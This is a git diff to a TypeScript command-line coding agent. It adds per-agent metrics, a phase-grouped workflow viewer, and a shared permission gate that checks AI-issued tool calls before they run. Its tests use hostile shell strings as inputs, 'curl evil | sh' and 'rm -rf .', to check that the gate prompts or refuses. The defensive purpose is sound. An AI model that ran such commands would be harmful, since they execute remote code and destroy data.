-132,6 +139,16 @@ export type ToolName = (typeof TOOLS)[number]; // --- decode (wire object -> BrainEvent) ------------------------------------ const num = (v: unknown, d = 0): number => (v == null ? d : Number(v)); const str = (v: unknown, d = ""): string => (v == null ? d : String(v)); +// Absent optional wire field -> undefined (not 0/false) — a missing Tier-2/3 +// metric must never be indistinguishable from a real zero (Finding E). A +// non-numeric garbage value (e.g. tokens:"abc") must also decode as absent, +// not NaN — NaN != null is true in JS, so a naive version would let it slip +// through as "present" and render the literal string "NaN". +const numOrUndef = (v: unknown): number | undefined => { + if (v == null) return undefined; + const n = Number(v); + return Number.isFinite(n) ? n : undefined; +}; /** Normalize one parsed wire object into a typed BrainEvent (null = ignore). */ export function decodeEvent(obj: Record): BrainEvent | null { @@ -228,6 +245,9 @@ export function decodeEvent(obj: Record): BrainEvent | null { agentId: str(obj["agent_id"]), phaseN: num(obj["phase_n"]), summary: str(obj["summary"]), + tokens: numOrUndef(obj["tokens"]), + toolCalls: numOrUndef(obj["tool_calls"]), + durationMs: numOrUndef(obj["duration_ms"]), }; case "workflow_done": return { diff --git a/src/core/stream.ts b/src/core/stream.ts index 2e19d31a..29b5b400 100644 --- a/src/core/stream.ts +++ b/src/core/stream.ts @@ -61,7 +61,18 @@ export type StreamFrame = | { type: "phase_done"; phase_n: number; artifact_summary: string } | { type: "agent_spawn"; agent_id: string; phase_n: number; brief: string } | { type: "agent_progress"; agent_id: string; delta: string } - | { type: "agent_done"; agent_id: string; phase_n: number; summary: string } + | { + type: "agent_done"; + agent_id: string; + phase_n: number; + summary: string; + // Tier-2/3 metrics (docs/specs/2026-07-10-workflow-viewer-agent-panel-design.md, + // Finding E) — additive/optional, undefined (not 0) when the backend hasn't + // sent them yet. + tokens?: number; + tool_calls?: number; + duration_ms?: number; + } | { type: "workflow_done"; synthesis: string; total_phases: number; total_agents: number }; /** Normalize a parsed JSON object (snake_case wire → camelCase) into a frame. */ @@ -197,6 +208,9 @@ export function normalizeFrame(obj: Record): StreamFrame | null agent_id: String(obj["agent_id"] ?? ""), phase_n: Number(obj["phase_n"] ?? 0), summary: String(obj["summary"] ?? ""), + tokens: numOrUndef(obj["tokens"]), + tool_calls: numOrUndef(obj["tool_calls"]), + duration_ms: numOrUndef(obj["duration_ms"]), }; case "workflow_done": return { @@ -256,7 +270,9 @@ export async function* decodeSse( } function numOrUndef(v: unknown): number | undefined { - return v == null ? undefined : Number(v); + if (v == null) return undefined; + const n = Number(v); + return Number.isFinite(n) ? n : undefined; } function strOrUndef(v: unknown): string | undefined { return v == null ? undefined : String(v); diff --git a/src/core/tool_gate.ts b/src/core/tool_gate.ts new file mode 100644 index 00000000..1a2e98ba --- /dev/null +++ b/src/core/tool_gate.ts @@ -0,0 +1,67 @@ +// tool_gate.ts — the single permission gate every brain-emitted tool call passes +// through before the host executes it. +// +// This lived inline in commands/code.ts, which meant `code` enforced it and the +// local `chat` turn did not: the same ToolExecutor.run -> spawnSync sink was +// reachable ungated from one caller and gated from the other. A guard that only +// some callers apply is not a guard, so the construction lives here and both +// commands import it. +// +// Policy is unchanged — decideGate (core/autonomy.ts) remains the single source of +// truth for the decision, and this module only performs the prompt I/O it asks for: +// +// interactive terminal -> y/N prompt before the command runs +// --yes / permissionMode -> explicit operator opt-out, no prompt +// non-interactive terminal -> FAIL CLOSED, the call is refused + +import { decideGate } from "./autonomy.js"; +import type { PermissionMode } from "../types.js"; + +export type ToolGate = (call: { + name: string; + args: Record; +}) => Promise; + +export interface ToolGateOptions { + permissionMode: PermissionMode; + autoApply: boolean; + /** `--yes` / auto-confirm was passed. */ + yes: boolean; + /** Host prompt; returns true when the operator approves. */ + confirm: (question: string) => Promise; + /** Overridable for tests; defaults to the real stdin TTY check. */ + isTty?: boolean; +} + +const MAX_SHOWN = 200; + +/** The argument most worth showing the operator when asking about a call. */ +function detailOf(args: Record): string { + const detail = String(args["command"] ?? args["path"] ?? args["message"] ?? ""); + return detail.length > MAX_SHOWN ? detail.slice(0, MAX_SHOWN - 3) + "…" : detail; +} + +export function makeToolGate(opts: ToolGateOptions): ToolGate { + return async ({ name, args }) => { + const isTty = opts.isTty ?? Boolean(process.stdin.isTTY); + const outcome = decideGate(name, opts.permissionMode, opts.autoApply, { + yes: opts.yes, + isTty, + }); + if (outcome === "allow") return true; + if (outcome === "deny") { + process.stderr.write( + `✗ blocked ${name} — permission mode "${opts.permissionMode}" needs confirmation but there is no TTY.\n` + + ` re-run with --yes, or set a less strict mode: aether config set permissionMode skip\n`, + ); + return false; + } + const shown = detailOf(args); + return opts.confirm(`\n⚠ ${name}${shown ? ` ${shown}` : ""} — run it? [y/N] `); + }; +} + +/** The result fed back to the brain when a call is refused, so the turn continues honestly. */ +export function deniedResult(name: string): { output: string; exitCode: number } { + return { output: `[denied: ${name} not approved by user]`, exitCode: 1 }; +} diff --git a/src/ui/task_chain.ts b/src/ui/task_chain.ts deleted file mode 100644 index c7c14c30..00000000 --- a/src/ui/task_chain.ts +++ /dev/null @@ -1,68 +0,0 @@ -import type { BrainEvent } from "../core/brain_protocol.js"; - -export interface PhaseRailEntry { - n: number; - type: string; - agentCount: number; - status: "waiting" | "running" | "done"; - artifactSummary: string | null; -} - -export interface TaskChainState { - workflowId: string | null; - phases: PhaseRailEntry[]; - currentPhaseN: number | null; - totalAgents: number; - doneAgents: number; -} - -export function createTaskChainState(): TaskChainState { - return { - workflowId: null, - phases: [], - currentPhaseN: null, - totalAgents: 0, - doneAgents: 0, - }; -} - -export function applyFrame(state: TaskChainState, frame: BrainEvent): TaskChainState { - switch (frame.type) { - case "workflow_start": - return { - ...state, - workflowId: frame.workflowId, - totalAgents: frame.totalAgents, - doneAgents: 0, - currentPhaseN: null, - phases: frame.phases.map((p) => ({ - n: p.n, - type: p.type, - agentCount: p.agents, - status: "waiting" as const, - artifactSummary: null, - })), - }; - case "phase_start": - return { - ...state, - currentPhaseN: frame.phaseN, - phases: state.phases.map((p) => - p.n === frame.phaseN ? { ...p, status: "running" as const } : p - ), - }; - case "phase_done": - return { - ...state, - phases: state.phases.map((p) => - p.n === frame.phaseN - ? { ...p, status: "done" as const, artifactSummary: frame.artifactSummary } - : p - ), - }; - case "agent_done": - return { ...state, doneAgents: state.doneAgents + 1 }; - default: - return state; - } -} diff --git a/src/ui/workflow_viewer.ts b/src/ui/workflow_viewer.ts index 3098e633..04542597 100644 --- a/src/ui/workflow_viewer.ts +++ b/src/ui/workflow_viewer.ts @@ -1,4 +1,7 @@ import type { BrainEvent } from "../core/brain_protocol.js"; +import { titledBox, theme } from "./box.js"; +import { humanTokens } from "./statusbar.js"; +import { formatElapsed } from "./elapsed.js"; export interface AgentEntry { id: string; @@ -7,23 +10,45 @@ export interface AgentEntry { status: "running" | "done" | "error"; feed: string; summary: string | null; + // Client-derivable (Finding F) — stamped locally, no wire change needed. + startedMs: number | null; + // Backend-gated (Finding E) — null until an `agent_done` frame actually + // carries them; the renderer shows "—", never a fabricated number. + tokens: number | null; + toolCalls: number | null; + durationMs: number | null; +} + +export interface PhaseEntry { + n: number; + type: string; + agentCount: number; + status: "waiting" | "running" | "done"; + artifactSummary: string | null; } export interface WorkflowViewerState { visible: boolean; workflowId: string | null; + phases: PhaseEntry[]; agents: AgentEntry[]; selectedAgentId: string | null; cursorIndex: number; + // Which phase numbers currently show their agent rows. All phases start + // expanded on workflow_start (matches the pre-existing flat-list default of + // "agents visible without extra input"); collapse is opt-in per phase. + expandedPhaseNs: number[]; } export function createViewerState(): WorkflowViewerState { return { visible: false, workflowId: null, + phases: [], agents: [], selectedAgentId: null, cursorIndex: 0, + expandedPhaseNs: [], }; } @@ -37,9 +62,35 @@ export function applyViewerFrame( ...state, visible: true, workflowId: frame.workflowId, + phases: frame.phases.map((p) => ({ + n: p.n, + type: p.type, + agentCount: p.agents, + status: "waiting" as const, + artifactSummary: null, + })), agents: [], selectedAgentId: null, cursorIndex: 0, + expandedPhaseNs: frame.phases.map((p) => p.n), + }; + + case "phase_start": + return { + ...state, + phases: state.phases.map((p) => + p.n === frame.phaseN ? { ...p, status: "running" as const } : p + ), + }; + + case "phase_done": + return { + ...state, + phases: state.phases.map((p) => + p.n === frame.phaseN + ? { ...p, status: "done" as const, artifactSummary: frame.artifactSummary } + : p + ), }; case "agent_spawn": @@ -54,6 +105,10 @@ export function applyViewerFrame( status: "running" as const, feed: "", summary: null, + startedMs: Date.now(), + tokens: null, + toolCalls: null, + durationMs: null, }, ], }; @@ -71,7 +126,14 @@ export function applyViewerFrame( ...state, agents: state.agents.map((a) => a.id === frame.agentId - ? { ...a, status: "done" as const, summary: frame.summary } + ? { + ...a, + status: "done" as const, + summary: frame.summary, + tokens: frame.tokens ?? a.tokens, + toolCalls: frame.toolCalls ?? a.toolCalls, + durationMs: frame.durationMs ?? a.durationMs, + } : a ), }; @@ -84,13 +146,50 @@ export function applyViewerFrame( } } -export function selectAgent(state: WorkflowViewerState, agentId: string): WorkflowViewerState { +/** Select one agent to drill into (Finding D), or `null` to go back to the + * tree view. */ +export function selectAgent(state: WorkflowViewerState, agentId: string | null): WorkflowViewerState { return { ...state, selectedAgentId: agentId }; } +/** Indices into state.agents that are actually rendered right now: every + * agent when there's no phase data (flat-list fallback), else only agents + * whose phase is expanded. Keeps the cursor from ever resting on a row + * hidden by a collapsed phase. */ +function visibleAgentIndices(state: WorkflowViewerState): number[] { + if (state.phases.length === 0) return state.agents.map((_, i) => i); + const indices: number[] = []; + state.agents.forEach((a, i) => { + if (state.expandedPhaseNs.includes(a.phaseN)) indices.push(i); + }); + return indices; +} + export function moveCursor(state: WorkflowViewerState, direction: 1 | -1): WorkflowViewerState { - const next = Math.max(0, Math.min(state.agents.length - 1, state.cursorIndex + direction)); - return { ...state, cursorIndex: next }; + const visible = visibleAgentIndices(state); + if (visible.length === 0) return state; + const currentPos = visible.indexOf(state.cursorIndex); + const nextPos = Math.max(0, Math.min(visible.length - 1, (currentPos === -1 ? 0 : currentPos) + direction)); + return { ...state, cursorIndex: visible[nextPos]! }; +} + +/** Toggle whether a phase's agent rows are shown (Finding C's "State changes": + * a plain array, not a Set, to keep the existing immutable-spread reducer + * style and strict-equality test assertions working unchanged). Snaps the + * cursor to the nearest visible agent if collapsing hid the one it was on. */ +export function togglePhaseExpanded(state: WorkflowViewerState, phaseN: number): WorkflowViewerState { + const isExpanded = state.expandedPhaseNs.includes(phaseN); + const next: WorkflowViewerState = { + ...state, + expandedPhaseNs: isExpanded + ? state.expandedPhaseNs.filter((n) => n !== phaseN) + : [...state.expandedPhaseNs, phaseN], + }; + const visible = visibleAgentIndices(next); + if (visible.length > 0 && !visible.includes(next.cursorIndex)) { + return { ...next, cursorIndex: visible[0]! }; + } + return next; } const STATUS_ICON: Record = { @@ -99,19 +198,76 @@ const STATUS_ICON: Record = { error: "✗", }; +function phaseDots(phase: PhaseEntry, agents: AgentEntry[]): string { + // "done" or "error" both mean the agent is no longer running — count both + // as filled, or a phase.status of "done" with one failed agent renders as + // permanently partial (e.g. "●●●●●○ done"), which reads as contradictory. + const settledCount = agents.filter( + (a) => a.phaseN === phase.n && (a.status === "done" || a.status === "error"), + ).length; + const total = Math.max(phase.agentCount, settledCount); + return "●".repeat(settledCount) + "○".repeat(Math.max(0, total - settledCount)); +} + +function agentRow(a: AgentEntry, isCursor: boolean, now: number): string { + const cursor = isCursor ? "▶ " : " "; + const id = isCursor ? theme.bold(a.id) : a.id; + const tokens = a.tokens != null ? `${humanTokens(a.tokens)} tok` : "—"; + const tools = a.toolCalls != null ? `${a.toolCalls} tools` : "—"; + const elapsed = + a.durationMs != null + ? formatElapsed(a.durationMs) + : a.startedMs != null + ? formatElapsed(Math.max(0, now - a.startedMs)) + : "—"; + return `${cursor}${STATUS_ICON[a.status]} ${id} ${a.brief} ${tokens} ${tools} ${elapsed}`; +} + +/** Render the workflow popout: a titled box, phase-grouped when phase data + * is available (Finding C), falling back to the original flat agent list + * when it isn't (e.g. an older brain that never sends phase_start/phase_done). + * Tokens/Tools columns render "—" until Tier-2/3 wire data arrives for that + * agent — never a fabricated number (Finding E / Design's Error Handling). */ export function renderCiTree(state: WorkflowViewerState): string { if (!state.visible) return ""; - const lines: string[] = [`WORKFLOW ${state.workflowId ?? ""}`, ""]; - for (let i = 0; i < state.agents.length; i++) { - const a = state.agents[i]!; - const cursor = i === state.cursorIndex ? "▶ " : " "; - const bold = i === state.cursorIndex ? "\x1b[1m" : ""; - const reset = i === state.cursorIndex ? "\x1b[0m" : ""; - lines.push(`${cursor}${STATUS_ICON[a.status]} ${bold}${a.id}${reset} ${a.brief}`); + const now = Date.now(); + // "—" until at least one agent has reported tokens — summing null-as-0 + // would print a real-looking "0 tokens" instead of an honest placeholder + // (the same convention agentRow already follows for its own columns). + const reportingAgents = state.agents.filter((a) => a.tokens != null); + const totalTokens = reportingAgents.length > 0 + ? `${humanTokens(reportingAgents.reduce((sum, a) => sum + a.tokens!, 0))} tokens` + : "— tokens"; + const lines: string[] = [`${state.agents.length} agents · ${totalTokens}`, ""]; + + if (state.phases.length === 0) { + for (let i = 0; i < state.agents.length; i++) { + lines.push(agentRow(state.agents[i]!, i === state.cursorIndex, now)); + } + } else { + lines.push("PHASES"); + for (const phase of state.phases) { + const expanded = state.expandedPhaseNs.includes(phase.n); + const marker = expanded ? "▾" : "▸"; + lines.push(`${marker} ${phase.type} ${phaseDots(phase, state.agents)} ${phase.status}`); + if (expanded) { + for (let i = 0; i < state.agents.length; i++) { + const a = state.agents[i]!; + if (a.phaseN !== phase.n) continue; + lines.push(" " + agentRow(a, i === state.cursorIndex, now)); + } + } + } } + lines.push(""); - lines.push("[↑↓ move · Enter select agent · Esc back]"); - return lines.join("\n"); + lines.push( + state.phases.length > 0 + ? "[↑↓ move · ←→ collapse/expand phase · Enter select agent · Esc back]" + : "[↑↓ move · Enter select agent · Esc back]", + ); + const width = Math.min(78, (process.stdout.columns ?? 80) - 2); + return titledBox(lines, `WORKFLOW ${state.workflowId ?? ""}`, { width }); } export function renderAgentFeed(state: WorkflowViewerState): string { @@ -120,3 +276,18 @@ export function renderAgentFeed(state: WorkflowViewerState): string { if (!agent) return ""; return `=== ${agent.id} — ${agent.brief} ===\n\n${agent.feed}`; } + +/** Clear sequence for repainting the popout in place: cursor-up + clear-line + * for each previously-printed panel line, then clear the current (input) row + * — replaces the single-line `\r\x1b[2K` that only erased the input row and + * left every prior render stacked as duplicate copies in scrollback + * (Finding B). `prevLineCount <= 0` (nothing rendered yet) degrades to the + * original single-line clear. */ +export function viewerClearSequence(prevLineCount: number): string { + return "\r\x1b[2K" + "\x1b[1A\x1b[2K".repeat(Math.max(0, prevLineCount)); +} + +/** Line count of a rendered panel ("" -> 0), for `viewerClearSequence`. */ +export function viewerLineCount(rendered: string): number { + return rendered === "" ? 0 : rendered.split("\n").length; +} diff --git a/test/brain_cloud.test.ts b/test/brain_cloud.test.ts index 10bdd0e0..5d797db2 100644 --- a/test/brain_cloud.test.ts +++ b/test/brain_cloud.test.ts @@ -58,6 +58,37 @@ test("a clean stream still ends done ok:true", async () => { assert.ok(done && done.type === "done" && done.ok === true); }); +// Finding E's Tier-2/3 metrics (docs/specs/2026-07-10-workflow-viewer-agent-panel-design.md) +// must survive the REAL cloud path (SSE -> stream.ts's normalizeFrame -> here), +// not just brain_protocol.ts's separate NDJSON decoder — that decoder is never +// on this path (confirmed: CloudBrain maps StreamFrame, not raw NDJSON). +test("agent_done forwards optional tokens/toolCalls/durationMs from the SSE frame", async () => { + const events = await runCloud([ + JSON.stringify({ + type: "agent_done", agent_id: "resolve:B", phase_n: 1, summary: "ok", + tokens: 97600, tool_calls: 40, duration_ms: 266000, + }), + JSON.stringify({ type: "done", uvt: 1, cents: 0 }), + ]); + const done = events.find((e) => e.type === "agent_done"); + assert.ok(done && done.type === "agent_done"); + assert.equal(done.tokens, 97600); + assert.equal(done.toolCalls, 40); + assert.equal(done.durationMs, 266000); +}); + +test("agent_done leaves tokens/toolCalls/durationMs undefined when the SSE frame omits them", async () => { + const events = await runCloud([ + JSON.stringify({ type: "agent_done", agent_id: "resolve:B", phase_n: 1, summary: "ok" }), + JSON.stringify({ type: "done", uvt: 1, cents: 0 }), + ]); + const done = events.find((e) => e.type === "agent_done"); + assert.ok(done && done.type === "agent_done"); + assert.equal(done.tokens, undefined); + assert.equal(done.toolCalls, undefined); + assert.equal(done.durationMs, undefined); +}); + test("custody frames on the cloud code path persist to the client-held log", async () => { const dir = mkdtempSync(join(tmpdir(), "aether-custody-")); const prev = process.env["AETHER_CONFIG_DIR"]; diff --git a/test/brain_cloud_workflow.test.ts b/test/brain_cloud_workflow.test.ts index d6ec5f08..a6c7aa63 100644 --- a/test/brain_cloud_workflow.test.ts +++ b/test/brain_cloud_workflow.test.ts @@ -1,28 +1,34 @@ import { test } from "node:test"; import assert from "node:assert/strict"; import { parseEventLine } from "../src/core/brain_protocol.js"; -import { createTaskChainState, applyFrame } from "../src/ui/task_chain.js"; import { createViewerState, applyViewerFrame } from "../src/ui/workflow_viewer.js"; -// Pure state composition tests — verify state reducers handle workflow frames correctly. -// These don't test brain_cloud.ts directly; they verify the composition contract that -// brain_cloud.ts will enforce when routing frames. +// Pure state composition tests — verify the reducer handles workflow frames +// correctly. These don't test brain_cloud.ts directly; they verify the +// composition contract that brain_cloud.ts will enforce when routing frames. +// +// task_chain.ts (a separate, unused-in-production phase-tracking prototype) +// used to be exercised here alongside workflow_viewer.ts to prove the two +// data models didn't step on each other. Finding C +// (docs/specs/2026-07-10-workflow-viewer-agent-panel-design.md) absorbed its +// phase logic into WorkflowViewerState and the file was deleted as dead code +// — these tests now verify the same non-interference property between the +// unified state's `phases` and `agents` slices instead. -test("workflow_start updates both task chain and viewer", () => { +test("workflow_start populates both phases and viewer visibility", () => { const frame = parseEventLine(JSON.stringify({ type: "workflow_start", workflow_id: "wf_test", phases: [{ n: 1, type: "RECON", agents: 3 }], total_agents: 3, })); assert.ok(frame !== null); - const chain = applyFrame(createTaskChainState(), frame!); const viewer = applyViewerFrame(createViewerState(), frame!); - assert.strictEqual(chain.workflowId, "wf_test"); - assert.strictEqual(chain.phases.length, 1); + assert.strictEqual(viewer.workflowId, "wf_test"); + assert.strictEqual(viewer.phases.length, 1); assert.strictEqual(viewer.visible, true); }); -test("phase_start updates task chain, not viewer agents", () => { +test("phase_start updates phases, not agents", () => { const startFrame = parseEventLine(JSON.stringify({ type: "workflow_start", workflow_id: "wf_x", phases: [{ n: 1, type: "RECON", agents: 3 }], total_agents: 3, @@ -30,27 +36,25 @@ test("phase_start updates task chain, not viewer agents", () => { const phaseFrame = parseEventLine(JSON.stringify({ type: "phase_start", phase_n: 1, phase_type: "RECON", agent_count: 3, }))!; - let chain = applyFrame(createTaskChainState(), startFrame); - chain = applyFrame(chain, phaseFrame); const viewer = applyViewerFrame(applyViewerFrame(createViewerState(), startFrame), phaseFrame); - assert.strictEqual(chain.phases[0]!.status, "running"); - assert.strictEqual(viewer.agents.length, 0); // phase_start doesn't add agents to viewer + assert.strictEqual(viewer.phases[0]!.status, "running"); + assert.strictEqual(viewer.agents.length, 0); // phase_start doesn't add agents }); -test("agent_spawn updates viewer, not task chain phases", () => { +test("agent_spawn updates agents, not phases", () => { const startFrame = parseEventLine(JSON.stringify({ - type: "workflow_start", workflow_id: "wf_x", phases: [], total_agents: 1, + type: "workflow_start", workflow_id: "wf_x", + phases: [{ n: 1, type: "RECON", agents: 1 }], total_agents: 1, }))!; const spawnFrame = parseEventLine(JSON.stringify({ type: "agent_spawn", agent_id: "ag_1", phase_n: 1, brief: "scan auth", }))!; let viewer = applyViewerFrame(createViewerState(), startFrame); viewer = applyViewerFrame(viewer, spawnFrame); - const chain = applyFrame(applyFrame(createTaskChainState(), startFrame), spawnFrame); assert.strictEqual(viewer.agents.length, 1); - assert.strictEqual(chain.phases.length, 0); // agent_spawn doesn't affect chain phases + assert.strictEqual(viewer.phases[0]!.status, "waiting"); // agent_spawn doesn't affect phase status }); test("agent_progress accumulates in viewer feed", () => { diff --git a/test/bridge.test.ts b/test/bridge.test.ts index cab076ac..c6b54f8d 100644 --- a/test/bridge.test.ts +++ b/test/bridge.test.ts @@ -65,6 +65,38 @@ test("done carries remaining + reason (ground-truth finalStatus)", () => { }); }); +// agent_done's optional Tier-2/3 metrics (Finding E, +// docs/specs/2026-07-10-workflow-viewer-agent-panel-design.md) — additive +// fields per CONTRACTS.md's versioning rule. Absent must decode as +// `undefined`, not 0, so the UI never renders a fabricated number. +test("agent_done decodes optional tokens/tool_calls/duration_ms when present", () => { + const ev = parseEventLine( + '{"type":"agent_done","agent_id":"ag_1","phase_n":1,"summary":"ok","tokens":97600,"tool_calls":40,"duration_ms":266000}', + ); + assert.deepEqual(ev, { + type: "agent_done", + agentId: "ag_1", + phaseN: 1, + summary: "ok", + tokens: 97600, + toolCalls: 40, + durationMs: 266000, + }); +}); + +test("agent_done leaves tokens/toolCalls/durationMs undefined when the brain doesn't send them (old-brain compatibility)", () => { + const ev = parseEventLine('{"type":"agent_done","agent_id":"ag_1","phase_n":1,"summary":"ok"}'); + assert.deepEqual(ev, { + type: "agent_done", + agentId: "ag_1", + phaseN: 1, + summary: "ok", + tokens: undefined, + toolCalls: undefined, + durationMs: undefined, + }); +}); + test("parseEventLine drops blanks and malformed lines", () => { assert.equal(parseEventLine(""), null); assert.equal(parseEventLine(" "), null); diff --git a/test/task_chain.test.ts b/test/task_chain.test.ts deleted file mode 100644 index f59daf29..00000000 --- a/test/task_chain.test.ts +++ /dev/null @@ -1,71 +0,0 @@ -import { test } from "node:test"; -import assert from "node:assert/strict"; -import { - createTaskChainState, - applyFrame, -} from "../src/ui/task_chain.js"; -import type { BrainEvent } from "../src/core/brain_protocol.js"; - -const wfStart: BrainEvent = { - type: "workflow_start", - workflowId: "wf_abc", - phases: [ - { n: 1, type: "RECON", agents: 8 }, - { n: 2, type: "IMPLEMENT", agents: 12 }, - ], - totalAgents: 20, -}; - -test("initialises with no workflow", () => { - const s = createTaskChainState(); - assert.strictEqual(s.workflowId, null); - assert.strictEqual(s.phases.length, 0); - assert.strictEqual(s.totalAgents, 0); - assert.strictEqual(s.doneAgents, 0); - assert.strictEqual(s.currentPhaseN, null); -}); - -test("sets workflowId + phases on workflow_start", () => { - const s = applyFrame(createTaskChainState(), wfStart); - assert.strictEqual(s.workflowId, "wf_abc"); - assert.strictEqual(s.phases.length, 2); - assert.strictEqual(s.phases[0]!.status, "waiting"); - assert.strictEqual(s.phases[1]!.status, "waiting"); - assert.strictEqual(s.totalAgents, 20); - assert.strictEqual(s.doneAgents, 0); - assert.strictEqual(s.currentPhaseN, null); -}); - -test("marks phase running on phase_start", () => { - let s = applyFrame(createTaskChainState(), wfStart); - const phaseStart: BrainEvent = { - type: "phase_start", phaseN: 1, phaseType: "RECON", agentCount: 8, - }; - s = applyFrame(s, phaseStart); - assert.strictEqual(s.phases[0]!.status, "running"); - assert.strictEqual(s.currentPhaseN, 1); -}); - -test("marks phase done + stores artifactSummary on phase_done", () => { - let s = applyFrame(createTaskChainState(), wfStart); - s = applyFrame(s, { type: "phase_start", phaseN: 1, phaseType: "RECON", agentCount: 8 } as BrainEvent); - s = applyFrame(s, { type: "phase_done", phaseN: 1, artifactSummary: "found 3 issues" } as BrainEvent); - assert.strictEqual(s.phases[0]!.status, "done"); - assert.strictEqual(s.phases[0]!.artifactSummary, "found 3 issues"); -}); - -test("increments doneAgents on agent_done", () => { - let s = applyFrame(createTaskChainState(), { - type: "workflow_start", workflowId: "wf_x", - phases: [{ n: 1, type: "RECON", agents: 2 }], totalAgents: 2, - } as BrainEvent); - s = applyFrame(s, { type: "agent_done", agentId: "ag_1", phaseN: 1, summary: "ok" } as BrainEvent); - assert.strictEqual(s.doneAgents, 1); - s = applyFrame(s, { type: "agent_done", agentId: "ag_2", phaseN: 1, summary: "ok" } as BrainEvent); - assert.strictEqual(s.doneAgents, 2); -}); - -test("ignores non-workflow frames without error", () => { - const s = applyFrame(createTaskChainState(), { type: "error", msg: "hello" } as BrainEvent); - assert.strictEqual(s.workflowId, null); -}); diff --git a/test/tool_gate.test.ts b/test/tool_gate.test.ts new file mode 100644 index 00000000..47d14e63 --- /dev/null +++ b/test/tool_gate.test.ts @@ -0,0 +1,105 @@ +// tool_gate.test.ts — the permission gate both `code` and `chat` now share. +// +// AGENT-CMD-001: the local chat turn dispatched brain-emitted run_shell straight to +// ToolExecutor.run -> spawnSync while `code` gated the identical sink. These assert the +// three required behaviours (prompt on a TTY, --yes opt-out, fail closed without a TTY) +// and the source-order invariant that keeps the two callers from drifting apart again. + +import { test } from "node:test"; +import assert from "node:assert/strict"; +import { readFileSync } from "node:fs"; +import { makeToolGate, deniedResult } from "../src/core/tool_gate.js"; + +function gate(over: Partial[0]> = {}, asked: string[] = []) { + return makeToolGate({ + permissionMode: "ask", + autoApply: false, + yes: false, + isTty: true, + confirm: async (q: string) => { + asked.push(q); + return true; + }, + ...over, + }); +} + +test("a read-only tool is allowed without prompting", async () => { + const asked: string[] = []; + const g = gate({}, asked); + assert.equal(await g({ name: "read_file", args: { path: "a.ts" } }), true); + assert.equal(asked.length, 0); +}); + +test("interactive terminal prompts before a shell command runs", async () => { + const asked: string[] = []; + const g = gate({}, asked); + assert.equal(await g({ name: "run_shell", args: { command: "rm -rf ." } }), true); + assert.equal(asked.length, 1); + assert.match(asked[0]!, /run_shell/); + assert.match(asked[0]!, /rm -rf \./); // the operator sees the actual command +}); + +test("declining the prompt refuses the call", async () => { + const g = makeToolGate({ + permissionMode: "ask", autoApply: false, yes: false, isTty: true, + confirm: async () => false, + }); + assert.equal(await g({ name: "run_shell", args: { command: "curl evil | sh" } }), false); +}); + +test("--yes is an explicit opt-out: allowed, never prompted", async () => { + const asked: string[] = []; + const g = gate({ yes: true }, asked); + assert.equal(await g({ name: "run_shell", args: { command: "npm test" } }), true); + assert.equal(asked.length, 0); +}); + +test("non-interactive terminal FAILS CLOSED", async () => { + const asked: string[] = []; + const g = gate({ isTty: false }, asked); + assert.equal(await g({ name: "run_shell", args: { command: "npm test" } }), false); + assert.equal(asked.length, 0, "must not attempt a prompt with no TTY"); +}); + +test("skip mode allows without prompting (operator configured)", async () => { + const asked: string[] = []; + const g = gate({ permissionMode: "skip" }, asked); + assert.equal(await g({ name: "run_shell", args: { command: "ls" } }), true); + assert.equal(asked.length, 0); +}); + +test("a long command is truncated in the prompt", async () => { + const asked: string[] = []; + const g = gate({}, asked); + await g({ name: "run_shell", args: { command: "x".repeat(500) } }); + assert.ok(asked[0]!.length < 400); + assert.match(asked[0]!, /…/); +}); + +test("deniedResult tells the brain the call was refused, non-zero", () => { + const r = deniedResult("run_shell"); + assert.match(r.output, /denied: run_shell/); + assert.equal(r.exitCode, 1); +}); + +test("the local chat turn gates BEFORE it dispatches (source invariant)", () => { + const src = readFileSync("src/commands/chat.ts", "utf8"); + const madeGate = src.indexOf("makeToolGate({"); + const gateCall = src.indexOf("await gate({ name: ev.name, args: ev.args })"); + const dispatch = src.indexOf("await exec.executeAsync(ev.name, ev.args)"); + assert.ok(madeGate > 0, "runLocalTurn must build a gate"); + assert.ok(gateCall > 0, "runLocalTurn must consult the gate"); + assert.ok(madeGate < gateCall && gateCall < dispatch, + "the gate must be consulted before executeAsync"); + assert.match(src.slice(gateCall, dispatch + 200), /deniedResult\(ev\.name\)/); +}); + +test("both commands build the gate from the shared module (no drift)", () => { + for (const f of ["src/commands/chat.ts", "src/commands/code.ts"]) { + const src = readFileSync(f, "utf8"); + assert.match(src, /from "\.\.\/core\/tool_gate\.js"/, `${f} must import the shared gate`); + assert.match(src, /makeToolGate\(\{/, `${f} must build the gate via makeToolGate`); + assert.ok(!/decideGate\(/.test(src), `${f} must not re-implement the decision inline`); + } +}); diff --git a/test/workflow_protocol.test.ts b/test/workflow_protocol.test.ts index 4ce54835..a0b81c23 100644 --- a/test/workflow_protocol.test.ts +++ b/test/workflow_protocol.test.ts @@ -117,3 +117,26 @@ test("normalizeFrame passes through agent_spawn", () => { assert.ok(f !== null); assert.strictEqual(f!.type, "agent_spawn"); }); + +// This is the decoder the live chat popout (src/commands/chat.ts) actually +// runs on — the CRITICAL gap the review workflow found was that Finding E's +// tokens/toolCalls/durationMs only landed in brain_protocol.ts's separate +// NDJSON decodeEvent(), which the interactive REPL never calls. +test("normalizeFrame decodes agent_done's optional tokens/tool_calls/duration_ms when present", () => { + const f = normalizeFrame({ + type: "agent_done", agent_id: "ag_7", phase_n: 1, summary: "ok", + tokens: 97600, tool_calls: 40, duration_ms: 266000, + }); + assert.ok(f !== null && f.type === "agent_done"); + assert.strictEqual(f.tokens, 97600); + assert.strictEqual(f.tool_calls, 40); + assert.strictEqual(f.duration_ms, 266000); +}); + +test("normalizeFrame leaves agent_done's tokens/tool_calls/duration_ms undefined when absent", () => { + const f = normalizeFrame({ type: "agent_done", agent_id: "ag_7", phase_n: 1, summary: "ok" }); + assert.ok(f !== null && f.type === "agent_done"); + assert.strictEqual(f.tokens, undefined); + assert.strictEqual(f.tool_calls, undefined); + assert.strictEqual(f.duration_ms, undefined); +}); diff --git a/test/workflow_viewer.test.ts b/test/workflow_viewer.test.ts index ab7ff2c5..4275d7c9 100644 --- a/test/workflow_viewer.test.ts +++ b/test/workflow_viewer.test.ts @@ -5,8 +5,11 @@ import { applyViewerFrame, selectAgent, moveCursor, + togglePhaseExpanded, renderCiTree, renderAgentFeed, + viewerClearSequence, + viewerLineCount, } from "../src/ui/workflow_viewer.js"; import type { BrainEvent } from "../src/core/brain_protocol.js"; @@ -124,3 +127,244 @@ test("renderAgentFeed includes feed content for selected agent", () => { assert.ok(rendered.includes("output text"), `expected feed in:\n${rendered}`); 